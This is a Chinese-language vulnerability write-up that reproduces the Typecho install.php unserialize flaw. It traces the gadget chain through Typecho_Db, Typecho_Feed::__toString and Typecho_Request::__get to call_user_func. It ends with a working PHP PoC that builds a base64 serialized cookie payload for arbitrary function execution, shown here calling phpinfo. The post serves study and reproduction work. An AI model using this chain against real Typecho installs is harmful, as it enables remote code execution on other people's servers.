作为一只鸽子,本来一个多月前就该完成的东西硬生生的拖到了现在 …… 趁着复习数电到自闭的时候再次复现一下这个洞吧。。


0x01 漏洞分析

在typecho 的 install.php文件中,有这么一段代码:

<?php
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);  //实例化了一个对象。 跟进
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>

可以看见调用了Typecho_Cookie类中的get方法,获取名为__typecho_config的Cookie,并且经过base64解码后再进行反序列化,并把最后的值给了$config变量。

随后取出$config['adapter']$config['prefix']实例化了一个对象 ,跟进,在db.php中:

<?php
public function __construct($adapterName, $prefix = 'typecho_')
{
/** 获取适配器名称 */
$this->_adapterName = $adapterName;

/** 数据库适配器 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;  //如果$adapterName是一个类  在进行字符串拼接的时候会自动调用魔术方法 __toString 方法 那就去找一找它

if (!call_user_func(array($adapterName, 'isAvailable'))) {
throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
}

$this->_prefix = $prefix;

/** 初始化内部变量 */
$this->_pool = array();
$this->_connectedPool = array();
$this->_config = array();

//实例化适配器对象o
$this->_adapter = new $adapterName();  //实例化$adapterName
}

这里没别的东西了,于是就去寻找 __toString魔术方法: 在Feed.php 的第233行。

可以看到,该方法首先是对RSS版本作了判断,执行相应的操作,在 359行处发现了这样一段代码:

<?php
foreach ($this->_items as $item) {
$content .= '<entry>' . self::EOL;
$content .= '<title type="html"><![CDATA[' . $item['title'] . ']]></title>' . self::EOL;
$content .= '<link rel="alternate" type="text/html" href="' . $item['link'] . '" />' . self::EOL;
$content .= '<id>' . $item['link'] . '</id>' . self::EOL;
$content .= '<updated>' . $this->dateFormat($item['date']) . '</updated>' . self::EOL;
$content .= '<published>' . $this->dateFormat($item['date']) . '</published>' . self::EOL;
$content .= '<author>
<name>' . $item['author']->screenName . '</name>
<uri>' . $item['author']->url . '</uri>
</author>' . self::EOL;

上述代码中,如果在screenName属性是私有的或是不存在的情况下去调用它 ,会触发__get魔术方法,于是我们全局搜索__get方法,发现在Request.php文件中

<?php
public function __get($key)
{
return $this->get($key);
}

跟进get()方法:

<?php
public function get($key, $default = NULL)
{
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break;
default:
$value = $default;
break;
}

$value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
}

发现最后调用了_applyFilter方法,继续跟进:

<?php
private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) : 
call_user_func($filter, $value); 
}

$this->_filter = array();
}

return $value;
}

如果我们能够控制call_user_func函数中的两个参数 $filter $value,那么就能够实现任意命令执行。

0x02 POP链构造

进入漏洞触发点

  1. Install.php
  2. $_GET[‘finish’] == 0
  3. Referer: 本站host

漏洞利用链

Install.php new Typecho_Db($config['adapter'], $config['prefix']); ===>

Db.php $adapterName = 'Typecho_Db_Adapter_' . $adapterName; $adaoterName即为传入的 $config[adapter] 控制 $config['adapter']为对象 触发 __toString ===>

**Feed.php ** __toString方法: 控制$_type === ATOM 1.0走到:<name>' . $item['author']->screenName . '</name> ,设置$item['author']为对象,掉哟screenName ,若不存在,则触发__get 魔术方法 ===>

Request.php __get调用 get($key, $default = NULL) ,传入参数key给数组 $_params,并且在此给$value赋值,随后调用_applyFilter方法,跟进 ===>

Request.php call_user_func($filter, $value); 为任意命令执行处,通过数组 $_filter控制函数名,数组$_params控制函数参数,即可完成命令执行。


根据上述pop链构造初步payload

<?php

Class Typecho_Request
{
public $_params = array();  //决定参数的值
public $_filter = array(); //决定使用的函数

public function __construct()
{
$this->_filter[0] = 'phpinfo';

$this->_params = array(
'screenName' => '1'
);
}

}

Class Typecho_Feed
{
const ATOM1 = 'ATOM 1.0';

private $_type;
private $_items;

public function __construct()
{
$this->_type = $this::ATOM1;
$this->_items[0] = array(
'author' => new Typecho_Request(),
);
}
}

$payload = array(
'adapter' => new Typecho_Feed(),
'prefix' => new Typecho_Request()
);

echo base64_encode(serialize($payload));

将以上payload输出后传入Cookie,发现报500数据库错误

image-20190605120143742

发现在install.php中有:

ob_start();

因为我们之前的对象注入,触发了exception ,执行了ob_end_clean() 使得我们的输入被清空,无法回显。

因此我们需要让代码在执行完命令执行函数后,停止往下运行。可以采用两种方法:

1.控制call_user_fun处遍历的数组,使得我们第二次执行的函数时执行到某个可以调用exit()的函数,使程序退出。

2.在命令执行之后,想办法造成一个报错,语句报错就会强制停止,这样缓冲区中的数据仍然会被输出出来。

image-20190605121941730

使用第二种方法,在上图处提前触发报错,从而得到回显。

完整poc

<?php

Class Typecho_Request
{
public $_params = array();  //决定参数的值
public $_filter = array(); //决定使用的函数

public function __construct()
{
$this->_filter = array(
0 =>'phpinfo',
);
$this->_params = array(
'screenName' => '1'
);
}
}

Class Typecho_Feed
{
const ATOM1 = 'ATOM 1.0';

private $_type;
private $_items;

public function __construct()
{
$this->_type = $this::ATOM1;
$this->_items[0] = array(
'category' => array(new Typecho_Request()),
'author' => new Typecho_Request(),
);
}
}

$payload = array(
'adapter' => new Typecho_Feed(),
'prefix' => new Typecho_Request()
);

echo base64_encode(serialize($payload));